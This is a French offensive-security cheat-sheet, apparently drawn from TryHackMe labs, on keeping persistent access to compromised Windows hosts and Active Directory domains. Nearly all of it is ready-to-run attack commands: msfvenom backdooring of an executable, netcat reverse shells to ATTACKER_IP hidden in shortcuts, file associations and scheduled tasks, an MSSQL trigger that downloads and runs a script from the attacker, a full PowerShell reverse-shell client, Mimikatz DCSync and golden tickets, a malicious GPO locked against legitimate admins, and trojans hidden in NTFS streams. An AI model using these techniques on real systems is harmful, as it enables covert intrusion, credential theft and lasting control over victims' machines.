Persistence

S'infiltrer c'est bien, garder la main c'est mieux !

Windows / AD


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[Persistence/Windows] Cheat-sheet

Introduction

Cette page est un mémo des techniques et outils que l'on peut utiliser sur un système compromis à des fins de persistence.

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Cheat-sheet

Mettre l'utilisateur dans un groupe privilégié

Il s'agit d'une technique simple qui consiste à utiliser un utilisateur non privilégié pour le mettre dans le groupe administrateur et passer sous les radars :

net localgroup administrators <USER> /add

Si ce groupe vous semble suspect, vous pouvez utiliser le groupe Backup Operators qui ne bénéficie pas des privilèges administrateurs mais profite d'un accès en lecture/écriture à tout le système :

net localgroup "Backup Operators" <USER> /add

Sinon, deux autres groupes non privilégiés mais ayant le droit d'utiliser RDP et WinRM (pour evil-winrm) sont :

Par défaut, le groupe Backup Operator est désactivé à cause de l'UAC. Son activation passe par une clé de registre :

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1

Ajouter un privilège à un utilisateur

Exporte la configuration actuelle dans le fichier config.inf :

secedit /export /cfg config.inf

Ensuite on peut éditer ce fichier pour ajouter un utilisateur sur les privilèges souhaités :

image.png

Ici, l'utilisateur thmuser2 bénéfiera des privilèves SeBackupPrivilege et SeRestorePrivilege.

Ensuite, on peut importer la nouvelle configuration et actualiser la base de donnée:

secedit /import /cfg config.inf /db config.sdb
secedit /configure /db config.sdb /cfg config.inf

Autoriser WinRM

On peut autoriser l'accès par WinRM à certains utilisateurs en exécutant la commande suivante depuis un environnement graphique afin d'ouvrir la boîte de dialogue adéquate :

Set-PSSessionConfiguration -Name Microsoft.PowerShell -showSecurityDescriptorUI

On peut ensuite sélectionner l'utilisateur souhaité et cocher la case Full Control :

image.png

Ainsi, l'utilisateur thmuser2 pourra utiliser le service WinRM sans être dans le groupe Remote Management Users.

Changer le RID d'un utilisateur

L'objectif de la manoeuvre va être de changer le RID (Relative ID) de l'utilisateur souhaité pour le définir sur 500 (utilisé par l'administrateur).

Pour cela, ouvrez la base de registre avec PsExec pour bénéficier des droits System depuis un shell administrateur :

PsExec64.exe -i -s regedit

On peut ensuite se rendre à l'emplacement HKLM\SAM\SAM\Domains\Account\Users\ dans la base de registre :

image.png

Dans notre cas, le RID de l'utilisateur est 1010 en décimal, ce qui donne 0x3F2 en hexadécimal.

On sélectionne la clé F et on édite l'entrée à la ligne 0x30 (voir la capture ci-dessus) où on retrouve le RID de l'utilisateur.

On peut ensuite l'éditer en sélectionnant les deux octets et en faisant clic droit puis Cut.

Ensuite, nous devons entrer la valeur 500 en décimal ce qui donne 0x01F4 en hexadécimal.

Il faut noter que c'est du Little Endian donc la notation est inversée. On doit donc entrer la valeur F401.

De cette manière, l'utilisateur sera considéré comme un administrateur par le système.

Implanter un payload dans un exécutable

Si vous avez la chance de trouver un exécutable utilisé régulièrement par la victime (ou son raccourcis), vous pouvez vous en emparer et le modifier avec msfvenom pour y implanter une backdoor :

msfvenom -a x64 --platform windows -x putty.exe -k -p windows/x64/shell_reverse_tcp lhost=ATTACKER_IP lport=4444 -b "\x00" -f exe -o puttyX.exe

Dans l'exemple ci-dessus, l'exécutable de PuTTY est recréé pour lancer un reverse shell avant l'exécution de PuTTY de manière silencieuse et invisible de la part de l'utilisateur.

Modifier un raccourcis existant

Plutôt que de modifier un exécutable, ce qui changerait sa signature et pourrait être suspect voire détecté par l'antivirus/EDR, on peut modifier un raccourcis présent sur le bureau de l'utilisateur pour le faire pointer sur un script personnalisé qui va se charger de d'ouvrir une backdoor de manière invisible et ensuite de lancer le logiciel.

Voici le type de script que l'on pourrait créer :

Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe ATTACKER_IP 4445"
C:\Windows\System32\calc.exe

De préférence, sauvegardez le script à un emplacement non consulté par l'utilisateur comme System32.

Ensuite, modifiez la cible du raccourcis dans ses Propriétés de sorte à lancer le script avec Powershell :

powershell.exe -WindowStyle hidden C:\Windows\System32\backdoor.ps1

image.png

De cette manière, la backdoor sera ouverte lors de l'ouverture du raccourcis.

Hijacking File Associations

Cette technique consiste à corrompre la clé de registre  du programme  à ouvrir pour une certaine extension de fichier afin de lancer son propre script à la place du programme original.

Par exemple, on peut modifier l'entrée correspondant aux fichiers texte pour qu'à chaque fois qu'un fichier texte est lancé, notre script malveillant soit lancé à la place du programme qui doit se charger de l'ouvrir en temps normal.

Dans un premier temps il faut récupérer le ProgID (Program ID) pour trouver la clé de registre qui nous intéresse ensuite :

image.png

Vous pouvez retrouver toutes les extensions à l'emplacement HKLM\Software\Classes\ .

Rendez-vous ensuite dans HKLM\Software\Classes\<PROG_ID> puis généralement, la clé de situe dans le sous-dossier shell\open\command :

image.png

On voit que pour les fichiers texte, Notepad.exe est exécuté avec le fichier en paramètre représenté par %1 .

On peut désormais modifier l'entrée avec l'exécution discrète de script personnalisé :

powershell.exe -WindowStyle hidden C:\Windows\System32\backdoor.ps1

image.png

Voici un exemple de contenu du script pour qu'il soit discret et ouvre une backdoor :

Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe ATTACKER_IP 4448"
C:\Windows\system32\NOTEPAD.EXE $args[0]

Le $args[0] correspond au %1 (fichier passé en paramètre).

Création d'un service

Une technique de persistence efficace est la création d'un service qui va lancer notre backdoor à chaque démarrage.

sc.exe create <SVC_NAME> binPath= "<COMMAND|EXE_PATH>" start= auto

Par exemple :

sc.exe create THMservice binPath= "net user Administrator Passwd123" start= auto

Ou :

sc.exe create THMservice2 binPath= "C:\windows\rev-svc.exe" start= auto

Puis démarrer le service :

sc.exe start <SVC_NAME>

Modifier un service existant

Cette option peut être plus intelligent et plus discret que de créer un service.

Tout d'abord vous pouvez lister les services existant pour choisir celui que vous souhaitez corrompre :

sc.exe query state=all

Vous pouvez interroger et afficher les informations d'un service spécifique :

sc.exe qc <SVC_NAME>

Voici la commande pour modifier l'exécutable qui sera lancé par le service :

sc.exe config THMservice3 binPath= "C:\Windows\rev-svc2.exe" start= auto obj= "LocalSystem"

Le paramètre obj (SERVICE_START_NAME) correspond à l'utilisateur qui lancera le service, ici on aura les droits de l'utilisateur System.

Créer une tâche planifiée

schtasks /create /sc minute /mo 1 /tn THM-TaskBackdoor /tr "c:\tools\nc64 -e cmd.exe ATTACKER_IP 4449" /ru SYSTEM

La tâche ci-dessus va lancer une backdoor toutes les minutes.

Vous pouvez rendre la tâche invisible en supprimant le Security Descriptor (SD) dans la base de registre :

image.png

Dans la base de registre, les tâches planifiée se trouve dans HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\

Les droits System sont requis pour effectuer l'opération. Il faudra donc passer par PsExec pour lancer la base de registre avec ses droits.

Dossier de démarrage

Il s'agit d'un dossier où tous les exécutables situés à l'intérieur seront automatiquement lancés au démarrage du système.

Voici le dossier des programmes propres à l'utilisateur :

C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

Et le dossier général :

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

 Run / RunOnce

Il est aussi possible de créer des clés de registre qui vont spécifier les exécutables à lancer lors du démarrage de la session à ces emplacements :

Une clé créée dans HKCU sera affectée à l'utilisateur courant tandis que HKLM sera affectée à tout le système.

Vous devez créer une clé de registre de type REG_EXPAND_SZ pour qu'elle soit pris en compte et fonctionnelle :

image.png

WinLogon

Une autre alternative consiste à corrompre une des clés de registre de WinLogon (qui charge normalement le profil de l'utilisateur).  

Pour cela, on peut se rendre dans HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\ et modifier une des deux entrées suivantes :

image.png

Pour ne pas casser la séquence de démarrage de la session, il ne faut pas supprimer le démarrage du programme mais seulement ajouter le démarrage son payload après le démarrage du programme original :

image.png

Logon script

Le service userinit check si la variable UserInitMprLogonScript est vide ou non lors du démarrage de la session.

Si elle contient un programme valide, il sera exécuté.

La clé de registre correspondant à cette variable doit être créé à l'emplacement HKCU\Environment :

image.png

 Cette variable est propre à chaque utilisateur !

Sticky keys

Cette technique réside dans le fait qu'on peut exécuter le programme C:\Windows\System32\sethc.exe en appuyant 5 fois d'affilés sur la touche Shift.

Voici le programme en question :

image.pngSi vous avez les droits suffisants, vous pouvez modifier l'exécutable pour le remplacer par votre backdoor ou votre payload.

Tout d'abord, donnez vous les droits de modifier l'exécutable depuis un shell administrateur :

takeown /f c:\Windows\System32\sethc.exe
icacls C:\Windows\System32\sethc.exe /grant Administrator:F
copy c:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe

Dans l'exemple ci-dessus, un Invite de commande est ouvert, mais on peut mettre l'exécutable que l'on souhaite.

Un avantage considérable est que ce programme peut être lancé depuis l'écran de connexion et lancera donc un shell avec les droits System.

Vous pouvez faire la même manipulation avec utilman.exe (Options d'ergonomie) mais le cmd ne sera disponible que depuis l'écran de connexion.

Webshell

Voici un webshell basique au format ASPX :

MSSQL backdoor

Il est possible de compromettre une base de donnée de sorte à ce qu'à chaque fois qu'une entrée est faite dans la table, un payload est récupéré sur le serveur de l'attaquant et est exécuté.

Pour cela, on peut exécuter les requêtes SQL suivantes dans l'ordre :

sp_configure 'Show Advanced Options',1;
RECONFIGURE;
GO

sp_configure 'xp_cmdshell',1;
RECONFIGURE;
GO
USE master

GRANT IMPERSONATE ON LOGIN::sa to [Public];
USE HRDB
CREATE TRIGGER [sql_backdoor]
ON HRDB.dbo.Employees 
FOR INSERT AS

EXECUTE AS LOGIN = 'sa'
EXEC master..xp_cmdshell 'Powershell -c "IEX(New-Object net.webclient).downloadstring(''http://ATTACKER_IP:8000/evilscript.ps1'')"';

Remplacez ATTACKER_IP par l'IP de l'attaquant.

Sur la machine de l'attaquant, mettez en place un serveur web sur le port 8000 hébergeant à la racine le script evilscript.ps1 :

$client = New-Object System.Net.Sockets.TCPClient("ATTACKER_IP",4454);

$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $sendback = (iex $data 2>&1 | Out-String );
    $sendback2 = $sendback + "PS " + (pwd).Path + "> ";
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush()
};

$client.Close()

Désormais, à chaque fois qu'une requête SQL de type INSERT sera faite depuis le serveur web, la backdoor sera ouverte. 

Netsh Helper

Ce programme natif sous Windows permet d'ajouter une DLL (potentiellement malveillante) à chaque exécution du programme netsh :

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[Persistence/AD] Cheat-sheet

Introduction

Lorsqu'un domaine est compromis par un pirate et qu'il parvient à avoir les pleins pouvoir dessus, il va généralement mettre en place des techniques de persistence pour s'implanter et garder ses accès.

À noter que si votre contrôleur de domaine a été compromis, il existe tellement de techniques persistence qu'il est considéré comme impossible de s'assurer à 100% que vous ayez effacer tous les accès pour les pirates.

Toutes les opérations présentées sont à réaliser depuis le contrôleur de domaine.

image.png

Source

Techniques

 AD synchronisation

L'Active Directory permet la réplication ce qui permet en temps normal de pouvoir utiliser plusieurs contrôleurs de domaine dans une forêt en ayant les mêmes identifiants pour nos utilisateurs sur tous les domaines de la forêt.

Cependant, nous allons nous servir de cette fonctionnalité pour récupérer tous les utilisateurs du domaine avec le hash de leur mot de passe associé.

Pour cela, on peut utiliser Mimikatz :

log dc_dump.txt
lsadump::dcsync /domain:za.tryhackme.loc /all

Sinon on peut cibler un utilisateur précis :

lsadump::dcsync /domain:za.tryhackme.loc /user:<USERNAME>

Cette opération peut prendre du temps selon la taille du domaine.

Pour récupérer les hashs :

cat dcdump.txt | grep "Hash NTLM"

Et les noms d'utilisateurs :

cat dcdump.txt | grep "SAM Username"

Golden et Silver Ticket

Ensuite lancez Mimikatz :

kerberos::golden /admin:ReallyNotALegitAccount /domain:za.tryhackme.loc /id:500 /sid:<Domain SID> /krbtgt:<NTLM hash of KRBTGT account> /endin:600 /renewmax:10080 /ptt
kerberos::golden /admin:StillNotALegitAccount /domain:za.tryhackme.loc /id:500 /sid:<Domain SID> /target:<Hostname of server being targeted> /rc4:<NTLM Hash of machine account of target> /service:cifs /ptt

Certificat

Vous pouvez générer un certificat malveillant qui vous permettra de générer des tickets TGT à souhait.

Un des avantages de cette technique est sa capacité à passer sous les radars pour l'équipe blue team.

Depuis Mimikatz :

privilege::debug
crypto::capi
crypto::cng
crypto::certificates /systemstore:local_machine /export

Une fois le certificat du contrôleur de domaine exporté, vous pouvez utiliser ForgeCert pour générer un certificat :

ForgeCert.exe --CaCertPath za-THMDC-CA.pfx --CaCertPassword mimikatz --Subject CN=User --SubjectAltName Administrator@za.tryhackme.loc --NewCertPath fullAdmin.pfx --NewCertPassword Password123 

Ensuite, on peut utiliser utiliser Rubeus pour générer un TGT à partir du certificat généré précédemment :

Rubeus.exe asktgt /user:Administrator /enctype:aes256 /certificate: /password: /outfile: /domain:za.tryhackme.loc /dc:

On peut utiliser Mimikatz pour injecter le TGT :

kerberos::ptt administrator.kirbi

Historique SID

Il est possible d'utiliser un deuxième SID sur un compte utilisateur du domaine (ce qui est normalement pratique pour les migrations).

On peut donc s'amuser à utiliser un deuxième SID pour un utilisateur compromis à bas niveau de privilège.

L'objectif va être de lui donner en deuxième SID, le SID du groupe Administrateur du domaine afin de passer inaperçu.

Tout d'abord, on vérifie que le SID history de notre utilisateur n'est pas définit :

Get-ADUser <USERNAME> -properties sidhistory,memberof

Le SID doit ressembler à cela :

SIDHistory        : {}

On peut ensuite récupérer le SID du groupe Admin :

Get-ADGroup "Domain Admins"

Le service NTDS doit être redémarré pour prendre en compte les changements :

Stop-Service -Name ntds -force 

On ajoute le SID history :

Add-ADDBSidHistory -SamAccountName 'username of our low-priveleged AD account' -SidHistory 'SID to add to SID History' -DatabasePath C:\Windows\NTDS\ntds.dit

Et on redémarre le service NTDS :

Start-Service -Name ntds

En utilisant le compte à bas privilège initial vous devriez avoir les droits complets sur le domaine.

Ajout d'un utilisateur à un groupe admin

Add-ADGroupMember -Identity "<AD_GROUP>" -Members "<USERNAME>"

AdminSDHolder

Le conteneur AdminSDHolder existe sur tous les contrôleurs de domaine et permet de copier les permissions sur tous les groupes protégés.

On peut donc le modifier depuis la console mmc pour ajouter notre utilisateur à bas privilège pour qu'il puisse posséder les pleins droits sur le domaine :

image.png

Puis ajoutez votre utilisateur et cochez Full control :

image.png

La propagation des droits prend normalement 60 minutes car le service SDProp est programmé pour être relancé à cette fréquence.

Cependant, vous pouvez aussi recharger le service manuellement pour ne pas devoir patienter :

Import-Module .\Invoke-ADSDPropagation.ps1
Invoke-ADSDPropagation

Voici le script Invoke-ADSDPropagation.ps1 :

Function Invoke-ADSDPropagation{
    <#
    .SYNOPSIS
        Invoke a SDProp task on the PDCe.
    .DESCRIPTION
        Make an LDAP call to trigger SDProp.
    .EXAMPLE
        Invoke-ADSDPropagation

        By default, RunProtectAdminGroupsTask is used.

    .EXAMPLE
        Invoke-ADSDPropagation -TaskName FixUpInheritance

        Use the legacy FixUpInheritance task name for Windows Server 2003 and earlier.
    .PARAMETER TaskName
        Name of the task to use.
            - FixUpInheritance for legacy OS
            - RunProtectAdminGroupsTask for recent OS
    .INPUTS
    .OUTPUTS
    .NOTES
        You can track progress with:
        Get-Counter -Counter '\directoryservices(ntds)\ds security descriptor propagator runtime queue' | Select-Object -ExpandProperty CounterSamples | Select-Object -ExpandProperty CookedValue
    .LINK
        http://ItForDummies.net
    #>
    [CmdletBinding()]
    Param(
        [Parameter(Mandatory=$false,
            HelpMessage='Name of the domain where to force SDProp to run',
            Position=0)]
        [ValidateScript({Test-Connection -ComputerName $_ -Count 2 -Quiet})]
        [String]$DomainName = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().Name,

        [ValidateSet('RunProtectAdminGroupsTask','FixUpInheritance')]
        [String]$TaskName = 'RunProtectAdminGroupsTask'
    )

    try{
	$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('domain',$DomainName)
        $DomainObject = [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
        
        Write-Verbose -Message "Detected PDCe is $($DomainObject.PdcRoleOwner.Name)."
        $RootDSE = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$($DomainObject.PdcRoleOwner.Name)/RootDSE") 
        $RootDSE.UsePropertyCache = $false 
        $RootDSE.Put($TaskName, "1") # RunProtectAdminGroupsTask & fixupinheritance
        $RootDSE.SetInfo()
    }
    catch{
        throw "Can't invoke SDProp on $($DomainObject.PdcRoleOwner.Name) !"
    }
}

GPO

On va pouvoir créer un script malveillant qui se lancera automatiquement sur tous les postes du domaine toutes les 60 secondes et qui exécutera notre reverse shell.

Voici le script.bat :

copy \\za.tryhackme.loc\sysvol\za.tryhackme.loc\scripts\<username>_shell.exe C:\tmp\<username>_shell.exe && timeout /t 20 && C:\tmp\<username>_shell.exe

Le payload et le script sont placés dans le répertoire SYSVOL du contrôleur de domaine.

On peut maintenant déployer une GPO dans l'OU des administrateurs pour qu'ils exécutent ce script à chaque démarrage de session.

De plus, vous pouvez vous assurez que les administrateurs légitimes ne puissent plus supprimer votre GPO en la sélectionnant depuis la console mmc, en vous rendant dans l'onglet Délégation et en définissant les droits de la sorte :

image.png

Tous les groupes ont été supprimés (sauf les deux ci dessus) et le groupe ENTERPRISE DOMAIN CONTROLLERS a été modifié avec les droits Edit settings, delete, modify security.

Shadow credentials

Ce type d'attaque peut être réalisé lorsque vous avez le droit de modifier l'attribut msDS-KeyCredentialLink (aussi appelé kcl).

Si c'est le cas, il vous sera alors possible de générer votre propre paire de clé RSA et de l'injecter.

De cette manière, vous pouvez garder un accès persistent au compte en question de manière discrète car le mot de passe de l'utilisateur n'aura pas été modifié.

Pour effectuer ce type d'attaque, vous pouvez utilise pyWhisker :

python3 pywhisker.py -d "<DC_FQDN>" -u "<USER>" -p "<PASSWORD_TO_SET>" --target "<TARGET_USER>" --action "add" --filename <KEY_OUTPUT>

Une clé valide pour vous authentifier devrait être généré.

Vous pouvez ensuite utiliser cette clé pour acquérir des tickets TGT à souhait grâce aux outils PKInitTools :

python3 PKINITtools/gettgtpkinit.py -cert-pfx test1.pfx -pfx-pass xl6RyLBLqdhBlCTHJF3R domain.local/user2 user2.ccache
python3 PKINITtools/getnthash.py -key f4d6738897808edd3868fa8c60f147366c41016df623de048d600d4e2f156aa9 domain.local/user2

 

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[Persistence/Windows] NTFS Data Stream

Introduction

Les Alternate Data Streams, ou ADS, permettent de cacher des fichiers dans des fichiers sur des systèmes de fichiers NTFS.

image.png

Manuel

type Trojan.exe > c:\Readme.txt:Trojan.exe

Pour créer un lien dans le fichier Readme.txt vers le Trojan :

cd c:\Windows\system32
mklink backdoor.exe Readme.txt:Trojan.exe

Vous devriez pouvoir lancer votre backdoor de la manière suivante :

backdoor